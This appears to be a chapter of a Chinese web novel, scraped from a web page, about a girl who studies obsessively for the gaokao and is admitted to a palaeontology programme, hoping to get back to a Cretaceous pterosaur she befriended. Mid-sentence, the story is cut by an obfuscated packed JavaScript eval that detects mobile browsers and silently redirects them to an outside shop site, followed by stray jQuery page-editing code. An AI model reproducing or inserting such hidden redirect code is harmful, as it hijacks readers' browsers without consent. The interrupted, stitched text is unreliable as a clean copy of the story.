那一年，她把自己活成了一块石头。
不是比喻。是真正的、像石头一样坚硬、沉默、不知疲倦。早上五点半起床，背单词，背古文，背生物知识点。六点半出门，骑自行车去学校，路上一边骑车一边听英语听力。七点到教室，开始一天的正课。课间十分钟，别人聊天、吃零食、打瞌睡，她做题。午休四十分钟，别人趴桌子睡觉，她去办公室问老师数学题。下午放学后，她留在教室自习到七点，回家吃饭。吃完饭，从八点学到凌晨十二点。洗澡，睡觉。第二天早上五点半，闹钟响，她睁开眼睛，继续。
林小北有时候会问她：“你不累吗？”她摇头。不是不累，是没时间累。她欠了半学期的课，数学从二次函数开始补，物理从牛顿第一定律开始补，化学从元素周期表开始补。别人在高二下学期复习高二的内容，她同时在补高一的课。老师说她跟不上，建议留级。她不同意。留级要多等一年。她等不起。裂缝不知道什么时候会再打开，她必须在它打开之前，准备好。
她知道自己在做什么。不是在考大学，是在买一张票。一张回到白垩纪的票。古生物学是那辆车，大学是那站台。她得先上车，才能出发。
妈妈心疼她，每天晚上端夜宵进来——面条，馄饨，牛奶，水果。她把面条吃了，把馄饨吃了，把牛奶喝了，把水果吃了。然后继续做题。妈妈站在门口，看着她趴在书桌上的背影，看了很久，轻轻关上门。爸爸话少，偶尔走过她房间，敲敲门，问一句“还好吗”，她回一句“嗯”，他就走了。大哥在学校，一个月回来一次。每次回来，都会带一杯奶茶放在她桌上。她不喝，放在旁边，等做完题再喝。奶茶凉了，她也喝。凉了也是甜的。林小北有时候会过来，坐在她旁边，也不说话，陪她做题。她做着做着，发现他在旁边睡着了，打着小呼噜。她笑了一下，把外套披在他身上，继续做题。
累了，就把那根羽毛从枕头下面拿出来，看一看，摸一摸，再放回去。然后继续。
她有时候会想起小角。想它用头拱她的手，想它把脑袋枕在她脚上。想得鼻子发酸，就闭上眼睛，深呼吸。不能哭。哭浪费时间。她要把时间花在做题上。做完题，考上大学，学了古生物学，找到回去的办法，就能见到它们了。她这样告诉自己。一遍一遍地告诉，说到自己相信为止。
第一次模拟考，她考了年级第四百名。全校六百人，她排第四百。数学六十七分，物理四十九分，化学五十八分。她看着成绩单，没有哭。她把成绩单折起来，放进口袋里。然后翻开课本，继续学。第二次模拟考，三百二十名。第三次，两百五十名。第四次，一百九十名。第五次，一百三十名。第六次，九十名。第七次——高考前最后一次模拟考，六十八名。班主任在班上念成绩的时候，念到她的名字，停了一下。看了她一眼，说：“林小禾，进步很大。”全班鼓掌。她坐在座位上，没有笑，没有哭。只是握着笔，手指关节发白。
她知道，六十八名还不够。她要去的那所大学，古生物学专业，全国只有三所学校开。最好的那所，去年录取线是全省前一百名。她差三十二名。还有一个月。她可以再追。
她把时间表改成了五点起床，十二点半睡觉。每天睡五个半小时。不够，但她撑得住。她在白垩纪的时候，有时候整夜不睡，第二天还能走一整天的路。那都能撑，这也能。
高考前一周，妈妈不让她熬夜了。每天晚上十点，准时把她从书桌前拉走，推到床上，盖上被子，关灯。她躺在床上，睁着眼睛，睡不着。脑子里全是公式、单词、年份、化学方程式。它们在她的脑子里转，像一台关不掉的机器。她把羽毛从枕头下面摸出来，攥在手心里。温的。
“绒绒。”她轻声说。“我快考试了。考完试，我就能学古生物了。”
没有人回答。她闭上眼睛，听着自己的心跳。咚，嗒，咚，嗒。和裂缝的呼吸一个节奏。她在那个节奏里睡着了。
高考那天，林小北陪她去的。考场在一所中学，离家很远，骑自行车要四十分钟。林小北骑车，她坐在后座。六月的早晨，太阳已经很高了，晒得人发晕。她抓着林小北的校服，看着路边的树往后倒。法桐的叶子绿得发亮，蝉叫得撕心裂肺。她把脸贴在林小北的背上，闭上眼睛。
“紧张吗？”林小北问。
“有一点。”
“别紧张。你连恐龙都不怕，还怕考试？”
她笑了一下。是啊。她在白垩纪面对过霸王龙——不对，没面对过霸王龙，但面对过蜥脚类恐龙群，面对过风暴，面对过裂缝。她连那些都不怕，不应该怕一张卷子。但她的手在抖。不是因为考试。是因为考完试，就是真的结束了。高中的结束，意味着她要开始新的阶段。那个阶段离白垩纪更远。她怕自己会忘。怕有一天醒来，记不清绒绒的样子了。
考场门口，林小北停下车，她从后座跳下来。林小北递给她一瓶水，一支笔，一个透明文件袋。里面是准考证和身份证。她检查了一遍，放好。
“考完我来接你。”
“嗯。”
她转身走进考场。回头看了一眼，林小北站在路边，朝她挥了挥手。她也挥了挥手，然后走进教学楼。
语文，数学，英语，理综。两天，四场。她答得很慢，每道题都看了两遍才写。作文题目是《时间的答案》。她看到那个题目的时候，愣了一下。时间的答案。时间给了她什么答案？她想起了白垩纪，想起了裂缝，想起了绒绒。她在作文纸上写了这样一段话：
“时间会带走很多东西。它会带走青春，带走记忆，带走生命。但它也会留下一些东西。它会留下痕迹。化石是时间的痕迹，羽毛是时间的痕迹，记忆也是时间的痕迹。我们以为时间会抹平一切，其实不是。时间是雕刻家，它把所有的经历刻进我们的骨头里。我们带着那些刻痕活下去，活成时间想要我们成为的样子。”
她不知道这段作文能得多少分。但她写了。这是她给时间的答案。
考完最后一门，她从考场出来。林小北站在校门口，手里拿着两杯奶茶。他把一杯递给她。“多糖多冰。”她接过来，插上吸管，吸了一口。甜的，凉的。她嚼着珍珠，看着天空。六月的天空很蓝，白云很白，太阳很大。她深吸了一口气。考完了。高中结束了。下一步，填志愿。
回家对了答案。语文选择题错了两个，数学最后一道大题没做出来，英语作文写得一般，理综物理最后一道题只写了第一步。她估了一下分，大概在全省一百二十名左右。不够。她想去的那所学校，古生物学专业，去年录取线是全省前一百名。差了二十名。
她坐在书桌前，看着那张估分表，看了很久。林小北敲门进来，手里拿着一碗西瓜。他把西瓜放在桌上，看了一眼估分表。
“一百二十？”
“嗯。”
“第一志愿还能报吗？”
“能报。但不一定能录。”
“报不报？”
她看着那张估分表，想起了很多事。想起了在白垩纪的时候，她每天早上醒来，第一件事不是洗脸，不是吃饭，是摸一摸玩偶还在不在。想起了绒绒站在风口，用身体挡住风暴。想起了小角脚磨破了，一瘸一拐跟在她后面。想起了小智在裂缝下面等她。
她拿起笔，在志愿表上写下那所学校的名字。第一志愿：某某大学，古生物学专业。她写得很慢，一笔一划的，像是在刻字。
“报。”她说。
林小北看着她，点了点头。“好。”
她把志愿表交上去的那天，妈妈问她：“小禾，你真的想好了？古生物学……以后毕业了能干什么？”
她看着妈妈，没有回答。因为她不能说实话——我学古生物不是为了找工作，是为了回到白垩纪，为了证明它们存在过，为了找到回去的办法。她不能说。说了妈妈会觉得她疯了。
“我喜欢。”她说。“我想研究恐龙。”
妈妈看了她一会儿，叹了口气。“行。你喜欢就行。”爸爸在旁边看电视，听到她们的对话，转过头来。“古生物学是吧？我听说过。研究化石的。挺好。比那些乱七八糟的专业强。”大哥从房间里走出来，靠在门框上。“学什么都可以。开心就行。”
林小北没有说话，但他站在她身后，拍了拍她的肩膀。
她看着家人，眼眶红了。“谢谢。”
她回到房间，把羽毛从枕头下面拿出来。羽毛在台灯下泛着金色的光，血迹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773455|207662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
已经淡了很多，变成浅褐色。
“绒绒。我报了古生物学。”
她把羽毛贴在脸上。
“九月份，我就要去大学了。去学翼龙。”
她把羽毛放回去，翻开笔记本，在上面写了一行字：“我要证明你存在过。”
笔记本旁边是那个亚克力盒子，里面是那根带血的羽毛。盒子旁边是那个脏兮兮的玩偶。玩偶旁边是一小块化石——她在地理课上偷偷藏的一块，石灰岩，里面有一小截骨头，不知道是什么动物的。不是翼龙的，但她留着。因为它是化石，因为它存在了六千六百万年，因为它比她老得多。它见过恐龙。它见过绒绒的祖先。它见过白垩纪。
她看着那块化石，轻声说：“你见过它们，对不对？”化石没有回答。她把它放在玩偶旁边。
七月底，高考成绩出来了。全省一百一十三名。比她估的高了七名。她看着那个数字，心跳得很快。一百一十三。离前一百名差十三名。能不能录，不知道。她坐在电脑前，刷新了一遍又一遍。录取状态一直是“已投档”，三个字，灰色的。她盯着那三个字，盯了很久。
林小北从外面回来，买了一袋桃子，放在桌上。“还没出？”她摇头。林小北洗了一个桃子，递给她。她接过来，咬了一口。甜的，脆的。她嚼着桃子，继续刷。
刷到第四十三遍的时候，状态变了。“录取”。两个字，蓝色的。她愣住了。点进去看——某某大学，古生物学专业。录取了。
她坐在椅子上，没有动。林小北走过来，看了一眼屏幕。然后他笑了，很大声地笑。“录了！录了！”
妈妈从厨房跑出来，手里拿着锅铲。爸爸从阳台走进来，手里拿着花洒。大哥从房间里探出头来。三个人同时问：“录了？”林小北点头，“录了！古生物学！”
妈妈笑了，笑着笑着哭了。爸爸没有说话，但他把花洒放下，走过来，伸手摸了摸她的头。大哥竖了一个大拇指，缩回去了。
她坐在椅子上，手里还握着那个咬了半口的桃子。她看着屏幕上那两个字——“录取”，看了很久。然后她站起来，走进房间，关上门。把那根羽毛从枕头下面拿出来，攥在手心里。蹲下来，把脸埋在膝盖里。哭了。不是难过的哭，是高兴的哭。
“绒绒。我录了。”
她把羽毛贴在脸上。
“我离你又近了一步。”
她哭了很久。哭完了，站起来，洗了脸，走出房间。妈妈已经把饭菜摆好了，比平时多做了四个菜。红烧肉，糖醋排骨，清蒸鲈鱼，蒜蓉西兰花，还有一碗西红柿蛋汤。一家人围坐在餐桌前，林小北举着杯子。
“干杯？”
“干杯。”
四个杯子碰在一起。玻璃的声音，清脆的，好听的。她喝着杯子里的可乐，看着家人——妈妈，爸爸，大哥，林小北。都在。一个都没少。
她放下了杯子。“谢谢你们。”
妈妈擦了擦眼睛。“谢什么。你是我们闺女。”
爸爸夹了一块红烧肉放在她碗里。“多吃点。太瘦了。”
大哥给她倒满可乐。“到了大学别省钱。不够跟我说。”
林小北没有说话，只是把鸡腿夹到了她碗里。
她低下头，看着碗里堆成小山的菜。眼泪又掉下来了。她大口大口地吃，把菜和眼泪一起咽下去。
晚上，她躺在床上，看着天花板。天花板上那道裂缝还在。从墙角延伸到灯座旁边。她看着它，想起了白垩纪的裂缝。它更大，更亮，会呼吸。它把她带回家了，但它没有把绒绒带回来。
她把羽毛和玩偶一起攥在手心里。
“绒绒。九月我就要去大学了。学古生物。学翼龙。”
她闭上眼睛。
“等我。等我学会了，我就去找你。”
窗外有风吹过，树叶沙沙响。她听着那个声音，想起了白垩纪的风。想起了绒绒的翅膀盖在她身上的感觉。
她在那个感觉里睡着了。
梦里，绒绒站在一棵大树上，歪头看着她。白色的羽毛在阳光下亮得像一团雪。它张开嘴，发出一声长长的、悠长的鸣叫。
她笑了。
“等我。”